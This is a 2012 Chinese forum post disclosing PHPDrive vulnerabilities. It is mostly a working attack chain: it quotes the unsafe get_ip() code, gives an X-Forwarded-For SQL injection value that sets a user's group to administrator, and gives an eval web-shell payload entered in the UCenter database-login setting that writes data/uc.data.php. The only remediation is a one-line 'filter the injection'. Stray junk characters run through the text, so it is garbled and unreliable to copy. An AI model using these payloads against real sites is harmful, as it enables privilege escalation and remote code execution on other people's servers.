找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2111|回复: 0
打印 上一主题 下一主题

PHPDrive权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:18:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等% w% c2 V" ~  i) l, k9 Q
2 }6 E- G3 ^  Q+ J+ [, ^$ W
includes/user.lib.php
2 Q9 p8 i: o6 d+ ~, p% i# I6 [; [- n行87! Z) n7 G- ]5 p7 ?
function get_ip() {
& ^6 V4 ?3 G, w if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.4 X+ ~$ h- P0 Z  k
在用户注册与登录 处module/disk/account.lead.php7 b' `( g9 Q! x/ ?, e) o
198行 1 }. H9 B$ t% n& r
//更新本次登录IP和时间4 a0 ]# V1 c+ D6 {, j! M" X2 N8 e- J
             $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生; O" m3 z+ i( \- s  \3 R
由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限) \- Z" M% y3 B; a0 x/ Z# J6 z1 s4 f
实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.
% W7 E0 r& J  ^- R后台getshell:
3 |; @) b* C7 ^9 X8 Q$ N在UCenter设置处,将UC数据库登录名填写为
- c8 K/ v+ Z2 o+ }
8 Y& @. j# ?+ yroot’);eval($_POST[DisKill]);?>/*3 b: ]! H( h9 D/ I
可以得到一个shell,位置在 data/uc.data.php8 k1 o" H/ V' ?% c# y/ b
; v# }! L. ]1 g
修复:过滤注入
0 s% h1 H: u) K; c& x/ z
% r& l* [1 z- R& r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表